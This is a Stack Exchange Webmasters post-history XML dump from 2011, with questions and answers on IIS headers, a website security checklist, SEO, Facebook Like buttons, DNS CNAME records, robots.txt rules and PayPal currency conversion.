  <row Id="36169" PostHistoryTypeId="2" PostId="15321" RevisionGUID="e33bcb3c-b766-4b68-8ea3-0a3bb986cc4d" CreationDate="2011-06-14T14:44:23.623" UserId="1253" Text="Assuming this is a custom header, [this Microsoft article][1] seems to explain how this is done.&#xD;&#xA;&#xD;&#xA;&gt; **To remove an HTTP response header**&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can perform this procedure by&#xD;&#xA;&gt; using the user interface (UI), by&#xD;&#xA;&gt; running Appcmd.exe commands in a&#xD;&#xA;&gt; command-line window, by editing the&#xD;&#xA;&gt; configuration files directly, or by&#xD;&#xA;&gt; writing WMI scripts.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **User Interface   To use the UI**   Open IIS Manager and navigate to the&#xD;&#xA;&gt; level you want to manage. For&#xD;&#xA;&gt; information about opening IIS Manager,&#xD;&#xA;&gt; [see Open IIS Manager (IIS 7)][2]. For&#xD;&#xA;&gt; information about navigating to&#xD;&#xA;&gt; locations in the UI, see [Navigation&#xD;&#xA;&gt; in IIS Manager (IIS 7)][3].&#xD;&#xA;&gt; &#xD;&#xA;&gt; In **Features View**, double-click&#xD;&#xA;&gt; **HTTP Response Headers**.&#xD;&#xA;&gt; &#xD;&#xA;&gt; On the **HTTP Response Headers** page,&#xD;&#xA;&gt; select the header that you want to&#xD;&#xA;&gt; remove.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In the **Actions** pane, click&#xD;&#xA;&gt; **Remove** and then click **Yes**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/library/cc733102%28WS.10%29.aspx&#xD;&#xA;  [2]: http://technet.microsoft.com/en-us/library/cc770472%28WS.10%29.aspx&#xD;&#xA;  [3]: http://technet.microsoft.com/en-us/library/cc732920%28WS.10%29.aspx" />
  <row Id="36170" PostHistoryTypeId="2" PostId="15322" RevisionGUID="c1831f1e-ed82-4466-932c-065b64fc3bb4" CreationDate="2011-06-14T14:56:10.307" UserId="8297" Text="I'm looking for a complete security checklist that will allow me to secure my websites. After some research here is what I got:&#xD;&#xA;&#xD;&#xA;-**use SSL to protect authenticated content**  &#xD;&#xA;-**tighten the server TCP/IP stack** (e.g. enabling syn cookies, limiting the number of connections by ips.., allowing only public access to port 80...)  &#xD;&#xA;-**prevent illegitimate bots from crawling your website** to save bandwidth for legitimate users (e.g. using `mod_rewrite` and blocking based on HTTP user agent)  &#xD;&#xA;-**review your code for common security mistakes** (e.g. with [OWASP top 10][1])  &#xD;&#xA;-**use an application firewall for additional security** (e.g. `mod_security`)  &#xD;&#xA;-**test your application security with assessment tools** (e.g. these questions on  [&quot;webmasters&quot;][2] or [&quot;serverfault&quot;][3])&#xD;&#xA;&#xD;&#xA;Any input to complete this list would be appreciated. Also information as to how much money/time is usually required to carry out these steps would allow a cost-effective approach to security.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.owasp.org/index.php/Top_10_2010-Main&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/7860/any-tools-for-measuring-the-security-of-a-site&#xD;&#xA;  [3]: http://serverfault.com/questions/275794/looking-for-a-good-web-penetration-testing-client" />
  <row Id="36171" PostHistoryTypeId="1" PostId="15322" RevisionGUID="c1831f1e-ed82-4466-932c-065b64fc3bb4" CreationDate="2011-06-14T14:56:10.307" UserId="8297" Text="Ultimate security checklist" />
  <row Id="36172" PostHistoryTypeId="3" PostId="15322" RevisionGUID="c1831f1e-ed82-4466-932c-065b64fc3bb4" CreationDate="2011-06-14T14:56:10.307" UserId="8297" Text="&lt;websites&gt;&lt;security&gt;&lt;best-practices&gt;" />
  <row Id="36173" PostHistoryTypeId="16" PostId="15322" RevisionGUID="ca0dab4e-fc8c-4b98-9ab4-eb9fe8ea538d" CreationDate="2011-06-14T14:56:40.470" UserId="1253" />
  <row Id="36174" PostHistoryTypeId="2" PostId="15323" RevisionGUID="dbe639ff-d284-4f43-a053-884d493d8297" CreationDate="2011-06-14T15:19:50.863" UserId="7450" Text="I've played with this myself and have at least gotten most of my stuff on the first page when I keep up with it, if not the first few links.&#xD;&#xA;&#xD;&#xA;One of the things I found in my research was that links to your page (whether it's LinkedIn, Twitter, etc) and out of it help rank it up. Also, recent updates help, as well. Therefore, share and writing stuff meaningful enough to be shared, and make sure you're active in your stuff and update it frequently (this is probably the hardest part, because it's the most time-consuming in the long run).&#xD;&#xA;&#xD;&#xA;I also link between everything in order to make sure it's all connected (so people can verify that the accounts are all me). If you have any kind of design skills, creating a logo that you can use as an avatar for everything can help solidify the brand recognition, as well. &#xD;&#xA;&#xD;&#xA;I've found it helps to flesh out your Google profile if you have a Google account, as that's likely to be among the top almost by default. The same goes for your other profiles. Make sure they're filled out with the relevant information, so Google sees the recent update and the fact that there's actually something meaningful there.&#xD;&#xA;&#xD;&#xA;Make sure your name is prominent somewhere in the main/profile page of each site, too (ideally, in the URL, too). You didn't mention what your website's URL is, but if you can get it, get a domain in your name (yourname.com, for example). If you have the money, getting different variations (yourname.me or whatever) and redirect them to a central site can help, too." />
  <row Id="36175" PostHistoryTypeId="25" PostId="15320" RevisionGUID="24377b12-f23d-4f47-a3d1-b0adca0263fe" CreationDate="2011-06-14T15:21:32.110" Comment="http://twitter.com/#!/StackWebmasters/status/80656118300409856" />
  <row Id="36176" PostHistoryTypeId="2" PostId="15324" RevisionGUID="20dcb6c2-f658-47ca-8cb8-6b268d5903cf" CreationDate="2011-06-14T16:19:50.280" UserId="8303" Text="I just created a simple webpage where people can browse funny photos and share it with their friends.&#xD;&#xA;&#xD;&#xA;But im having problems with the facebook like button. I have used the facebook like button before on a static url with iframe. And that seemed to work fine.&#xD;&#xA;&#xD;&#xA;Im using the XFBML version and not the iframe version because the iframe version affects the pages layout.&#xD;&#xA;&#xD;&#xA;This is the code I got from facebook:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;&lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&gt;&lt;/script&gt;&lt;fb:like href=&quot;&quot; send=&quot;false&quot; layout=&quot;button_count&quot; width=&quot;450&quot; show_faces=&quot;false&quot; font=&quot;tahoma&quot;&gt;&lt;/fb:like&gt;&#xD;&#xA;&#xD;&#xA;Facebook says that &quot;href - the URL to like. The XFBML version defaults to the current page. &quot; So i left that one open.&#xD;&#xA;&#xD;&#xA;Problem:&#xD;&#xA;&#xD;&#xA;When users click Like the counter won't update. It still shows nothing as if no one ever clicked the button." />
  <row Id="36177" PostHistoryTypeId="1" PostId="15324" RevisionGUID="20dcb6c2-f658-47ca-8cb8-6b268d5903cf" CreationDate="2011-06-14T16:19:50.280" UserId="8303" Text="facebook like button count" />
  <row Id="36178" PostHistoryTypeId="3" PostId="15324" RevisionGUID="20dcb6c2-f658-47ca-8cb8-6b268d5903cf" CreationDate="2011-06-14T16:19:50.280" UserId="8303" Text="&lt;facebook&gt;" />
  <row Id="36179" PostHistoryTypeId="2" PostId="15325" RevisionGUID="658e0f3f-1336-45cb-9591-f96382335def" CreationDate="2011-06-14T16:24:12.227" UserId="1253" Text="Try removing the `href` attribute altogethr:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;&lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&gt;&lt;/script&gt;&lt;fb:like send=&quot;false&quot; layout=&quot;button_count&quot; width=&quot;450&quot; show_faces=&quot;false&quot; font=&quot;tahoma&quot;&gt;&lt;/fb:like&gt;" />
  <row Id="36180" PostHistoryTypeId="2" PostId="15326" RevisionGUID="9a9a31dd-485d-4c50-bfb8-1ff557160a16" CreationDate="2011-06-14T16:37:55.730" UserId="8302" Text="A nice Google Maps feature that allows people to look up &quot;places&quot;.&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/maps/documentation/javascript/places.html" />
  <row Id="36181" PostHistoryTypeId="2" PostId="15327" RevisionGUID="ec086ee7-63e3-429b-8193-9fbb9da9d305" CreationDate="2011-06-14T16:46:14.243" UserId="7198" Text="There's no instant-fix solution, but you could:&#xD;&#xA;&#xD;&#xA; - **Build up backlinks** to the services you want Google to feature by blogging, guest-blogging, and filling in profile information containing those links for as many sites as you can. Paul's suggestion to use the `rel=author` attribute in links is a good one; if Google doesn't know they're related to your name, it won't show those sites in search results.&#xD;&#xA; - **Remove stale accounts** for services you no longer use. Some forum software requires moderator approval to delete your account, but it's worthwhile clearing up old references to your name or username, especially if those sites are long established.&#xD;&#xA; - **Work under a new persona, brand name, or pen name.** Instead of trying to fight Google by recrafting your existing name and reputation, consider creating a unique persona, company, or pen name to work under. You can then brand each service (e.g. Github) with that unique name, which gives you a much better chance of being able to control the likely search results. Be careful to keep this separate from any personal accounts and identities you use.&#xD;&#xA;" />
  <row Id="36182" PostHistoryTypeId="2" PostId="15328" RevisionGUID="e4323d78-69b2-4528-a61c-c8cb10797dd5" CreationDate="2011-06-14T17:43:33.437" UserId="1253" Text="It seems like it is okay to do for now but is still a grey area. Here's a good article that goes into detail about this:&#xD;&#xA;&#xD;&#xA;[Advertising Online Casinos - An Analysis of the Legal Rights and Risks][1]&#xD;&#xA;&#xD;&#xA;Excerpt:&#xD;&#xA;&#xD;&#xA;&gt; While the legality of online gaming&#xD;&#xA;&gt; itself is still an open question as a&#xD;&#xA;&gt; result of conflicting court decisions&#xD;&#xA;&gt; and stalled legislation, the legal&#xD;&#xA;&gt; issues relating to advertising online&#xD;&#xA;&gt; gambling services are even more&#xD;&#xA;&gt; obscure. One of the reasons is that&#xD;&#xA;&gt; the power of the government to&#xD;&#xA;&gt; regulate advertising of a particular&#xD;&#xA;&gt; product or service is not coextensive&#xD;&#xA;&gt; with its ability to regulate or ban&#xD;&#xA;&gt; the same product or service.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; The concept of Internet gaming&#xD;&#xA;&gt; advertising raises a host of legal&#xD;&#xA;&gt; issues that are dependant on a number&#xD;&#xA;&gt; of factors, including the medium&#xD;&#xA;&gt; chosen for the promotion and the&#xD;&#xA;&gt; potential applicability of various&#xD;&#xA;&gt; state and/or federal laws. The courts&#xD;&#xA;&gt; will employ the same legal analysis&#xD;&#xA;&gt; used to evaluate traditional gambling&#xD;&#xA;&gt; advertising regulations, but under a&#xD;&#xA;&gt; relatively new paradigm that is based&#xD;&#xA;&gt; on the underlying premise that the&#xD;&#xA;&gt; government’s power to prohibit or&#xD;&#xA;&gt; regulate particular conduct does not&#xD;&#xA;&gt; necessarily include the power to&#xD;&#xA;&gt; prohibit or regulate speech about that&#xD;&#xA;&gt; conduct.57 The traditional&#xD;&#xA;&gt; justifications for imposing&#xD;&#xA;&gt; restrictions on gambling advertising&#xD;&#xA;&gt; may well be lacking in the context of&#xD;&#xA;&gt; online gambling promotion. Virtual&#xD;&#xA;&gt; casinos do not generate increased&#xD;&#xA;&gt; prostitution or drug activity, and&#xD;&#xA;&gt; have not been historically infiltrated&#xD;&#xA;&gt; by organized crime. The inability to&#xD;&#xA;&gt; effectively geographically limit the&#xD;&#xA;&gt; target audience for online gambling&#xD;&#xA;&gt; advertising may also impair the&#xD;&#xA;&gt; government’s ability to&#xD;&#xA;&gt; constitutionally restrict advertising&#xD;&#xA;&gt; about online gaming services to areas&#xD;&#xA;&gt; where it is considered a legal&#xD;&#xA;&gt; activity. Thus far, the United States&#xD;&#xA;&gt; government has not specifically&#xD;&#xA;&gt; legislated in the area of Internet&#xD;&#xA;&gt; gambling, let alone the advertising of&#xD;&#xA;&gt; such services. While the various&#xD;&#xA;&gt; states have touched on this subject,&#xD;&#xA;&gt; or have enacted legislation which&#xD;&#xA;&gt; appears to regulate or prohibit such&#xD;&#xA;&gt; promotions, the validity of any such&#xD;&#xA;&gt; laws as applied to virtual casinos is&#xD;&#xA;&gt; questionable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.firstamendment.com/site-articles/advertising-casinos/" />
  <row Id="36183" PostHistoryTypeId="10" PostId="9524" RevisionGUID="9ef6afb1-ac49-4aad-a4f5-d5063476347c" CreationDate="2011-06-14T17:45:41.033" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36184" PostHistoryTypeId="2" PostId="15329" RevisionGUID="f1971664-e319-40ee-a9d4-99251a77f0da" CreationDate="2011-06-14T17:52:18.977" UserId="5806" Text="Recently I changed [Facebook Like buttons][1] on several of my sites for [AddThis counting buttons][2] which include the Facebook count (or so I assume that is what the number in the box next to 'f like' is).&#xD;&#xA;&#xD;&#xA;From a code point-of-view this is simpler and gives also counts and sharing buttons for other services. **However, the counts were mostly reset to 0 or at least to a much lower number than before.** &#xD;&#xA;&#xD;&#xA;**Why the discrepancy? What could the two things be counting differently?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.facebook.com/docs/reference/plugins/like/&#xD;&#xA;  [2]: http://www.addthis.com/" />
  <row Id="36185" PostHistoryTypeId="1" PostId="15329" RevisionGUID="f1971664-e319-40ee-a9d4-99251a77f0da" CreationDate="2011-06-14T17:52:18.977" UserId="5806" Text="AddThis Counts vs Facebook Counts" />
  <row Id="36186" PostHistoryTypeId="3" PostId="15329" RevisionGUID="f1971664-e319-40ee-a9d4-99251a77f0da" CreationDate="2011-06-14T17:52:18.977" UserId="5806" Text="&lt;facebook&gt;&lt;addthis&gt;&lt;like&gt;" />
  <row Id="36187" PostHistoryTypeId="25" PostId="15299" RevisionGUID="f06cdda9-3aa1-484d-9006-b5743fce8b47" CreationDate="2011-06-14T18:22:30.313" Comment="http://twitter.com/#!/StackWebmasters/status/80701660510433280" />
  <row Id="36188" PostHistoryTypeId="2" PostId="15330" RevisionGUID="871a2735-3e28-4ee4-aece-c8d3a0166ab4" CreationDate="2011-06-14T18:24:40.597" UserId="8307" Text="The easiest fix for this is to have a CNAME record added to the DNS...&#xD;&#xA;&#xD;&#xA;    mycompany.com      CNAME  www.mycompany.com&#xD;&#xA;    www.mycompany.com  A      xxx.xxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;In the above, the `A` record means `www.mycompany.com` resolves directly to the IP address `xxx.xxx.xxx.xxx` and the `CNAME` record means `mycompany.com` is an 'alias' for `www.mycompany.com`&#xD;&#xA;&#xD;&#xA;If you do it this way then if the IP address for `www.mycompany.com` is ever changed, the `CNAME` will still remain valid." />
  <row Id="36189" PostHistoryTypeId="2" PostId="15331" RevisionGUID="0a999839-9c0c-4738-bdce-6c5313d2dff5" CreationDate="2011-06-14T18:38:24.823" UserId="7962" Text="I usually disallow subdirectories in the robots.txt file and I was wondering if it's possible to do it the other way: block everything and list the main index file and the others pages I'd like search engines to index. Is that possible?&#xD;&#xA;&#xD;&#xA;My current robots.txt is as follows:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: /example/&#xD;&#xA;    Disallow: yea.html&#xD;&#xA;    Allow: /" />
  <row Id="36190" PostHistoryTypeId="1" PostId="15331" RevisionGUID="0a999839-9c0c-4738-bdce-6c5313d2dff5" CreationDate="2011-06-14T18:38:24.823" UserId="7962" Text="Is it possible to block an entire site to Google then list exceptions?" />
  <row Id="36191" PostHistoryTypeId="3" PostId="15331" RevisionGUID="0a999839-9c0c-4738-bdce-6c5313d2dff5" CreationDate="2011-06-14T18:38:24.823" UserId="7962" Text="&lt;seo&gt;&lt;google&gt;&lt;robots&gt;" />
  <row Id="36192" PostHistoryTypeId="2" PostId="15332" RevisionGUID="0ca66190-9b67-4f11-bd71-08639243ae4d" CreationDate="2011-06-14T18:56:42.963" UserId="576" Text="You can also use Microsoft's [Web Platform Installer][1] to [install Joomla 1.6 on a Windows server][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/downloads/platform.aspx&#xD;&#xA;  [2]: http://www.microsoft.com/web/gallery/joomla16.aspx" />
  <row Id="36193" PostHistoryTypeId="2" PostId="15333" RevisionGUID="3efec557-77d9-4afb-9f3a-43511cb197cd" CreationDate="2011-06-14T19:18:39.163" UserId="8310" Text="(I wasn't entirely sure which would be the best forum for this but thought&#xD;&#xA;I'd give this one try, I hope it was a good decision...)&#xD;&#xA;&#xD;&#xA;I want to accept card payments on a site to collect subscription payments,&#xD;&#xA;just subscription payments - it's the only thing on sale.&#xD;&#xA;&#xD;&#xA;Because of the fairly simple case I've no need to use a checkout facility&#xD;&#xA;and the PayPal Direct Payments API will allow me to take the customer&#xD;&#xA;card details and credit the appropriate account. So far so good, I've&#xD;&#xA;tested it on sandbox and got it working.&#xD;&#xA;&#xD;&#xA;I want to display prices in the customer's native currency, so I've found&#xD;&#xA;the ConvertCurrency API which is part of the AdaptivePayments API. This&#xD;&#xA;will allow me to simply convert an amount from one currency to another.&#xD;&#xA;I'm not sure if applying the FX rate received from the ConvertCurrency&#xD;&#xA;api (plus spread) will reliably allow me to calculate the precise amount&#xD;&#xA;the customer will be charged in their native currency. There seem to be&#xD;&#xA;suggestions on the paypal site that the rates published by this API are&#xD;&#xA;indicative and can't be guaranteed to be accurate in relation to the&#xD;&#xA;customer purchase transaction.&#xD;&#xA;&#xD;&#xA;So I wondered if this is true that I'm likely to see discrepancies, and&#xD;&#xA;so is it much of a problem? just a very narrow window where problems are&#xD;&#xA;likely to occur? I understand that paypal update their FX rates twice a&#xD;&#xA;day.&#xD;&#xA;&#xD;&#xA;An alternative, or perhaps additional option seems to be using the&#xD;&#xA;Instance Payments Notification API. Yes, PayPal have got APIs coming out&#xD;&#xA;of their ears. This *will* tell me exactly what the fx rate of the&#xD;&#xA;purchase transaction was, but I'm not exactly sure *when* it will tell me.&#xD;&#xA;I think the IPN api is more of a back office function and the documentation&#xD;&#xA;specifically warns against including a call to IPN (which is a blocking&#xD;&#xA;call) as part of the checkout flow, because it could take a long time. But&#xD;&#xA;I think I read something on the net somewhere suggesting that it's actually&#xD;&#xA;pretty quick.&#xD;&#xA;&#xD;&#xA;Something else that looks to make sense on first impressions is to support&#xD;&#xA;multiple accounts for the major currencies. I don't want to end up running&#xD;&#xA;an FX trading desk but presumably if I've got a EUR a/c (rather than just USD)&#xD;&#xA;and someone is paying in euros then the whole issue of FX is, if not removed,&#xD;&#xA;shifted from the transaction level.&#xD;&#xA;&#xD;&#xA;Thanks for any comments, is this not a fairly common problem?&#xD;&#xA;&#xD;&#xA;Oversteer." />
  <row Id="36194" PostHistoryTypeId="1" PostId="15333" RevisionGUID="3efec557-77d9-4afb-9f3a-43511cb197cd" CreationDate="2011-06-14T19:18:39.163" UserId="8310" Text="PayPal card payments with Direct Payments API &amp; FX rate" />
  <row Id="36195" PostHistoryTypeId="3" PostId="15333" RevisionGUID="3efec557-77d9-4afb-9f3a-43511cb197cd" CreationDate="2011-06-14T19:18:39.163" UserId="8310" Text="&lt;payments&gt;&lt;paypal&gt;" />
  <row Id="36197" PostHistoryTypeId="2" PostId="15335" RevisionGUID="b47374fb-03e9-4b0b-9f2b-bd8e1b12061e" CreationDate="2011-06-14T19:26:50.487" UserId="7198" Text="Yes. You can disallow everything first, then allow the folders you want to be indexed.&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;    Allow: /example/&#xD;&#xA;    Allow: /example2/&#xD;&#xA;    Allow: /example3/&#xD;&#xA;&#xD;&#xA;The reason this works is that Google (and Bing) follow CSS-style specificity rules when reading robots.txt files, where more specific rules take precedence over less specific ones. From Google's [robots.txt documentation](http://code.google.com/web/controlcrawlindex/docs/robots_txt.html):&#xD;&#xA;&#xD;&#xA;&gt; &quot;...for allow and disallow directives, the most specific rule based on the length of the [path] entry will trump the less specific (shorter) rule. The order of precedence for rules with wildcards is undefined.&quot;&#xD;&#xA;&#xD;&#xA;They give a table of examples on that page.&#xD;&#xA;&#xD;&#xA;Don't forget to [test your robots.txt file](http://www.google.com/support/webmasters/bin/answer.py?answer=156449) using [Google Webmaster Tools](http://www.google.com/webmasters/tools/):&#xD;&#xA;&#xD;&#xA;&gt; To test a site's robots.txt file:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. On the Webmaster Tools Home page, click the site you want.&#xD;&#xA;&gt; 2. Under Site configuration, click Crawler access&#xD;&#xA;&gt; 3. If it's not already selected, click the Test robots.txt tab.&#xD;&#xA;&gt; 4. Copy the content of your robots.txt file, and paste it into the first box.&#xD;&#xA;&gt; 5. In the URLs box, list the site to test against.&#xD;&#xA;&gt; 6. In the User-agents list, select the user-agents you want.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36199" PostHistoryTypeId="5" PostId="15335" RevisionGUID="cb6a1578-b35d-4434-a950-9b5d40b6e8aa" CreationDate="2011-06-14T19:34:46.830" UserId="7198" Comment="added 24 characters in body" Text="Yes. You can disallow everything first, then allow the folders you want to be indexed.&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;    Allow: /index.html&#xD;&#xA;    Allow: /example/&#xD;&#xA;    Allow: /example2/&#xD;&#xA;    Allow: /example3/&#xD;&#xA;&#xD;&#xA;The reason this works is that Google (and Bing) follow CSS-style specificity rules when reading robots.txt files, where more specific rules take precedence over less specific ones. From Google's [robots.txt documentation](http://code.google.com/web/controlcrawlindex/docs/robots_txt.html):&#xD;&#xA;&#xD;&#xA;&gt; &quot;...for allow and disallow directives, the most specific rule based on the length of the [path] entry will trump the less specific (shorter) rule. The order of precedence for rules with wildcards is undefined.&quot;&#xD;&#xA;&#xD;&#xA;They give a table of examples on that page.&#xD;&#xA;&#xD;&#xA;Don't forget to [test your robots.txt file](http://www.google.com/support/webmasters/bin/answer.py?answer=156449) using [Google Webmaster Tools](http://www.google.com/webmasters/tools/):&#xD;&#xA;&#xD;&#xA;&gt; To test a site's robots.txt file:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. On the Webmaster Tools Home page, click the site you want.&#xD;&#xA;&gt; 2. Under Site configuration, click Crawler access&#xD;&#xA;&gt; 3. If it's not already selected, click the Test robots.txt tab.&#xD;&#xA;&gt; 4. Copy the content of your robots.txt file, and paste it into the first box.&#xD;&#xA;&gt; 5. In the URLs box, list the site to test against.&#xD;&#xA;&gt; 6. In the User-agents list, select the user-agents you want.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36200" PostHistoryTypeId="2" PostId="15336" RevisionGUID="a7c6e0ab-6e46-4fb0-882e-175bccd11d74" CreationDate="2011-06-14T20:36:44.373" UserId="239" Text="To repro:&#xD;&#xA;&#xD;&#xA;1. Go to google and do a search&#xD;&#xA;2. Follow the first result.&#xD;&#xA;3. Hit back in Chrome.&#xD;&#xA;4. Observe that the text that appears that says &quot;Block all links from xxx&quot; has a &quot;shine&quot; affect that occurs to draw your eye to it.&#xD;&#xA;&#xD;&#xA;How is this achieved?" />
  <row Id="36201" PostHistoryTypeId="1" PostId="15336" RevisionGUID="a7c6e0ab-6e46-4fb0-882e-175bccd11d74" CreationDate="2011-06-14T20:36:44.373" UserId="239" Text="How does Google put the &quot;shine&quot; on the &quot;block all links from xxx&quot; link that appears?" />
  <row Id="36202" PostHistoryTypeId="3" PostId="15336" RevisionGUID="a7c6e0ab-6e46-4fb0-882e-175bccd11d74" CreationDate="2011-06-14T20:36:44.373" UserId="239" Text="&lt;google&gt;" />
  <row Id="36203" PostHistoryTypeId="5" PostId="15336" RevisionGUID="354122e8-bc23-4a20-92f5-0e972bf46c1c" CreationDate="2011-06-14T20:55:39.497" UserId="239" Comment="added 341 characters in body; edited title" Text="To repro:&#xD;&#xA;&#xD;&#xA;1. Go to google and do a search (for example, follow this link to [search for Jeff Atwood][1])&#xD;&#xA;2. Follow the first result.&#xD;&#xA;3. Hit back in Chrome.&#xD;&#xA;4. Observe that the text that appears that says &quot;Block all codinghorror.com results&quot; has a &quot;shine&quot; affect that occurs to draw your eye to it.&#xD;&#xA;&#xD;&#xA;How is this achieved?&#xD;&#xA;&#xD;&#xA;This happens on all sites I follow a link from while logged in to Google using Chrome.  I tried recording it with Jing and the shine affect did not record... maybe it's a Win7 thing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=jeff%20atwood" />
  <row Id="36204" PostHistoryTypeId="4" PostId="15336" RevisionGUID="354122e8-bc23-4a20-92f5-0e972bf46c1c" CreationDate="2011-06-14T20:55:39.497" UserId="239" Comment="added 341 characters in body; edited title" Text="How does Google put the &quot;shine&quot; on the &quot;block all foo.com results&quot; link that appears?" />
  <row Id="36205" PostHistoryTypeId="5" PostId="15336" RevisionGUID="16cf9def-ad73-46dd-ba3d-28923c67ba60" CreationDate="2011-06-14T21:08:21.277" UserId="239" Comment="deleted 17 characters in body" Text="To repro:&#xD;&#xA;&#xD;&#xA;1. Go to google and do a search (for example, follow this link to [search for Jeff Atwood][1])&#xD;&#xA;2. Follow the first result.&#xD;&#xA;3. Hit back in Chrome.&#xD;&#xA;4. Observe that the text that appears that says &quot;Block all codinghorror.com results&quot; has a &quot;shine&quot; affect that occurs to draw your eye to it.&#xD;&#xA;&#xD;&#xA;How is this achieved?&#xD;&#xA;&#xD;&#xA;This happens on all sites I follow a link from while logged in to Google using Chrome. &#xD;&#xA;[I've recorded it here.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=jeff%20atwood&#xD;&#xA;  [2]: http://www.screencast.com/t/nfG9iuK2aEgh" />
  <row Id="36206" PostHistoryTypeId="5" PostId="15336" RevisionGUID="20308c71-e252-402b-b50c-a62545b571d7" CreationDate="2011-06-14T21:18:16.553" UserId="239" Comment="added 2 characters in body" Text="To repro:&#xD;&#xA;&#xD;&#xA;1. Go to google and do a search (for example, follow this link to [search for Jeff Atwood][1])&#xD;&#xA;2. Follow the first result.&#xD;&#xA;3. Hit back in Chrome.&#xD;&#xA;4. Observe that the text that appears that says &quot;Block all codinghorror.com results&quot; has a &quot;shine&quot; affect that occurs to draw your eye to it.&#xD;&#xA;&#xD;&#xA;This happens on all sites I follow a link from while logged in to Google using Chrome. &#xD;&#xA;&#xD;&#xA;How is this achieved?&#xD;&#xA;&#xD;&#xA;[I've recorded it here.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=jeff%20atwood&#xD;&#xA;  [2]: http://www.screencast.com/t/nfG9iuK2aEgh" />
  <row Id="36207" PostHistoryTypeId="25" PostId="15336" RevisionGUID="6685a17d-6c36-46a6-bd29-10ce2aa67c70" CreationDate="2011-06-14T21:22:30.283" Comment="http://twitter.com/#!/StackWebmasters/status/80746957936668672" />
  <row Id="36208" PostHistoryTypeId="5" PostId="15336" RevisionGUID="f6efcdd4-38aa-4ea3-965c-287dcbc920ba" CreationDate="2011-06-14T21:39:47.663" UserId="239" Comment="added 413 characters in body" Text="To repro:&#xD;&#xA;&#xD;&#xA;1. Go to google and do a search (for example, follow this link to [search for Jeff Atwood][1])&#xD;&#xA;2. Follow the first result.&#xD;&#xA;3. Hit back in Chrome.&#xD;&#xA;4. Observe that the text that appears that says &quot;Block all codinghorror.com results&quot; has a &quot;shine&quot; affect that occurs to draw your eye to it.&#xD;&#xA;&#xD;&#xA;This happens on all sites I follow a link from while logged in to Google using Chrome. &#xD;&#xA;&#xD;&#xA;How is this achieved?&#xD;&#xA;&#xD;&#xA;[I've recorded it here.][2]&#xD;&#xA;&#xD;&#xA;The HTML from the relevant section:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;/images/experiments/shimmer_mask.png&quot; style=&quot;position: absolute; &#xD;&#xA;     top: 64px; z-index: 500; border-top-width: 0px; border-right-width: 0px; &#xD;&#xA;     border-bottom-width: 0px; border-left-width: 0px; border-top-style: none; &#xD;&#xA;     border-right-style: none; border-bottom-style: none; &#xD;&#xA;     border-left-style: none; border-color: initial; left: 228px; &quot;&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=jeff%20atwood&#xD;&#xA;  [2]: http://www.screencast.com/t/nfG9iuK2aEgh" />
  <row Id="36209" PostHistoryTypeId="2" PostId="15337" RevisionGUID="eb86b83f-dca0-40cc-98a2-9b0f27a2a4d3" CreationDate="2011-06-14T21:41:17.677" UserId="4502" Text="The &lt;a href=&quot;http://www.si-les-idees-suffisaient.net/jquery/textgrad.html&quot;&gt;jQuery textgrad plugin&lt;/a&gt; can do this. Scroll down to the &quot;textscan&quot; header.&#xD;&#xA;This is several years old, though still works; it's just the first to mind. There's a decent chance something more recent exists, and this should at least give you some ideas how to go about searching further." />
